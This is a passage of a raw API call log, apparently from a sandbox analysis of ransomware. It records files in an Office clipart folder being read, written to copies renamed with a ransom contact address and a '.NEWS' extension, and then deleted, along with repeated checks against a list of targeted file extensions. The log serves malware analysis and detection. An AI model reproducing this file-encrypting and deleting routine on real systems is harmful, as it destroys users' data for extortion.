lpFileSize=0x339ff14*=3896) returned 1 [0082.054] CloseHandle (hObject=0x398) returned 1 [0082.057] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf")) returned 0x220 [0082.057] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0082.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0082.058] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0082.058] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0082.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0082.058] GetLastError () returned 0x0 [0082.058] ReadFile (in: hFile=0x398, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0xf38, lpOverlapped=0x0) returned 1 [0082.060] WriteFile (in: hFile=0x348, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xf40, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xf40, lpOverlapped=0x0) returned 1 [0082.060] ReadFile (in: hFile=0x398, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0082.061] WriteFile (in: hFile=0x348, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0082.061] SetEndOfFile (hFile=0x348) returned 1 [0082.061] CloseHandle (hObject=0x348) returned 1 [0082.062] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0082.062] SetEndOfFile (hFile=0x398) returned 1 [0082.063] CloseHandle (hObject=0x398) returned 1 [0082.063] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0082.063] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf")) returned 1 [0082.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0082.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0082.063] lstrlenW (lpString=".doc") returned 4 [0082.063] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0082.063] lstrlenW (lpString=".docx") returned 5 [0082.063] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0082.063] lstrlenW (lpString=".pdf") returned 4 [0082.063] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0082.063] lstrlenW (lpString=".xls") returned 4 [0082.063] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0082.063] lstrlenW (lpString=".xlsx") returned 5 [0082.063] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0082.063] lstrlenW (lpString=".ppt") returned 4 [0082.063] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0082.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0082.064] lstrlenW (lpString=".zip") returned 4 [0082.064] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0082.064] lstrlenW (lpString=".rar") returned 4 [0082.064] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0082.064] lstrlenW (lpString=".bz2") returned 4 [0082.064] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0082.064] lstrlenW (lpString=".7z") returned 3 [0082.064] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0082.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0082.064] lstrlenW (lpString=".dbf") returned 4 [0082.064] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0082.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0082.064] lstrlenW (lpString=".1cd") returned 4 [0082.064] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0082.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0082.064] lstrlenW (lpString=".jpg") returned 4 [0082.064] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0082.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0082.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0082.064] lstrlenW (lpString=".doc") returned 4 [0082.064] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0082.064] lstrlenW (lpString=".docx") returned 5 [0082.064] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0082.064] lstrlenW (lpString=".pdf") returned 4 [0082.064] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0082.064] lstrlenW (lpString=".xls") returned 4 [0082.064] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0082.064] lstrlenW (lpString=".xlsx") returned 5 [0082.064] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0082.064] lstrlenW (lpString=".ppt") returned 4 [0082.064] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0082.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0082.064] lstrlenW (lpString=".zip") returned 4 [0082.064] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0082.065] lstrlenW (lpString=".rar") returned 4 [0082.065] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0082.065] lstrlenW (lpString=".bz2") returned 4 [0082.065] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0082.065] lstrlenW (lpString=".7z") returned 3 [0082.065] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0082.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0082.065] lstrlenW (lpString=".dbf") returned 4 [0082.065] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0082.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0082.065] lstrlenW (lpString=".1cd") returned 4 [0082.065] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0082.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0082.065] lstrlenW (lpString=".jpg") returned 4 [0082.065] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0082.065] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0082.065] lstrlenW (lpString="BS00445_.WMF") returned 12 [0082.065] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0082.066] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=3796) returned 1 [0082.066] CloseHandle (hObject=0x398) returned 1 [0082.066] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf")) returned 0x220 [0082.066] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0082.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0082.066] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0082.066] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0082.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0082.067] GetLastError () returned 0x0 [0082.067] ReadFile (in: hFile=0x398, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0xed4, lpOverlapped=0x0) returned 1 [0082.068] WriteFile (in: hFile=0x348, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xee0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xee0, lpOverlapped=0x0) returned 1 [0082.069] ReadFile (in: hFile=0x398, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0082.069] WriteFile (in: hFile=0x348, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0082.069] SetEndOfFile (hFile=0x348) returned 1 [0082.069] CloseHandle (hObject=0x348) returned 1 [0082.071] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0082.071] SetEndOfFile (hFile=0x398) returned 1 [0082.072] CloseHandle (hObject=0x398) returned 1 [0082.072] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0082.072] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf")) returned 1 [0082.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0082.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0082.073] lstrlenW (lpString=".doc") returned 4 [0082.073] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0082.073] lstrlenW (lpString=".docx") returned 5 [0082.073] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0082.073] lstrlenW (lpString=".pdf") returned 4 [0082.073] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0082.073] lstrlenW (lpString=".xls") returned 4 [0082.073] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0082.073] lstrlenW (lpString=".xlsx") returned 5 [0082.073] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0082.073] lstrlenW (lpString=".ppt") returned 4 [0082.073] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0082.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0082.073] lstrlenW (lpString=".zip") returned 4 [0082.073] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0082.073] lstrlenW (lpString=".rar") returned 4 [0082.073] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0082.073] lstrlenW (lpString=".bz2") returned 4 [0082.073] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0082.073] lstrlenW (lpString=".7z") returned 3 [0082.073] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0082.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0082.073] lstrlenW (lpString=".dbf") returned 4 [0082.073] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0082.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0082.073] lstrlenW (lpString=".1cd") returned 4 [0082.073] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0082.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0082.073] lstrlenW (lpString=".jpg") returned 4 [0082.073] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0082.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0082.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0082.074] lstrlenW (lpString=".doc") returned 4 [0082.074] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0082.074] lstrlenW (lpString=".docx") returned 5 [0082.074] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0082.074] lstrlenW (lpString=".pdf") returned 4 [0082.074] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0082.074] lstrlenW (lpString=".xls") returned 4 [0082.074] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0082.074] lstrlenW (lpString=".xlsx") returned 5 [0082.074] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0082.074] lstrlenW (lpString=".ppt") returned 4 [0082.074] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0082.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0082.074] lstrlenW (lpString=".zip") returned 4 [0082.074] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0082.074] lstrlenW (lpString=".rar") returned 4 [0082.074] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0082.074] lstrlenW (lpString=".bz2") returned 4 [0082.074] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0082.074] lstrlenW (lpString=".7z") returned 3 [0082.074] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0082.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0082.074] lstrlenW (lpString=".dbf") returned 4 [0082.074] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0082.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0082.074] lstrlenW (lpString=".1cd") returned 4 [0082.074] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0082.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0082.074] lstrlenW (lpString=".jpg") returned 4 [0082.074] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0082.075] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0082.075] lstrlenW (lpString="BS00453_.WMF") returned 12 [0082.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0082.471] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=2436) returned 1 [0082.471] CloseHandle (hObject=0x374) returned 1 [0082.471] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf")) returned 0x220 [0082.471] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0082.471] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0082.471] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0082.471] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0082.471] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0082.472] GetLastError () returned 0x0 [0082.472] ReadFile (in: hFile=0x374, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x984, lpOverlapped=0x0) returned 1 [0082.473] WriteFile (in: hFile=0x33c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x990, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x990, lpOverlapped=0x0) returned 1 [0082.474] ReadFile (in: hFile=0x374, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0082.474] WriteFile (in: hFile=0x33c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0082.474] SetEndOfFile (hFile=0x33c) returned 1 [0082.474] CloseHandle (hObject=0x33c) returned 1 [0082.477] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0082.477] SetEndOfFile (hFile=0x374) returned 1 [0082.478] CloseHandle (hObject=0x374) returned 1 [0082.478] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0082.478] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf")) returned 1 [0082.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0082.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0082.478] lstrlenW (lpString=".doc") returned 4 [0082.478] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0082.478] lstrlenW (lpString=".docx") returned 5 [0082.478] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0082.478] lstrlenW (lpString=".pdf") returned 4 [0082.478] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0082.478] lstrlenW (lpString=".xls") returned 4 [0082.478] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0082.478] lstrlenW (lpString=".xlsx") returned 5 [0082.478] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0082.478] lstrlenW (lpString=".ppt") returned 4 [0082.478] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0082.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0082.479] lstrlenW (lpString=".zip") returned 4 [0082.479] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0082.479] lstrlenW (lpString=".rar") returned 4 [0082.479] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0082.479] lstrlenW (lpString=".bz2") returned 4 [0082.479] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0082.479] lstrlenW (lpString=".7z") returned 3 [0082.479] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0082.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0082.479] lstrlenW (lpString=".dbf") returned 4 [0082.479] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0082.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0082.479] lstrlenW (lpString=".1cd") returned 4 [0082.479] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0082.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0082.479] lstrlenW (lpString=".jpg") returned 4 [0082.479] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0082.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0082.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0082.479] lstrlenW (lpString=".doc") returned 4 [0082.479] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0082.479] lstrlenW (lpString=".docx") returned 5 [0082.479] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0082.479] lstrlenW (lpString=".pdf") returned 4 [0082.479] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0082.479] lstrlenW (lpString=".xls") returned 4 [0082.479] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0082.479] lstrlenW (lpString=".xlsx") returned 5 [0082.479] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0082.479] lstrlenW (lpString=".ppt") returned 4 [0082.479] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0082.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0082.479] lstrlenW (lpString=".zip") returned 4 [0082.479] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0082.479] lstrlenW (lpString=".rar") returned 4 [0082.480] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0082.480] lstrlenW (lpString=".bz2") returned 4 [0082.480] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0082.480] lstrlenW (lpString=".7z") returned 3 [0082.480] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0082.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0082.480] lstrlenW (lpString=".dbf") returned 4 [0082.480] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0082.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0082.480] lstrlenW (lpString=".1cd") returned 4 [0082.480] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0082.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0082.480] lstrlenW (lpString=".jpg") returned 4 [0082.480] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0082.559] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0082.559] lstrlenW (lpString="BS01637_.WMF") returned 12 [0082.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0082.560] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=3948) returned 1 [0082.560] CloseHandle (hObject=0x398) returned 1 [0082.560] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf")) returned 0x220 [0082.560] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 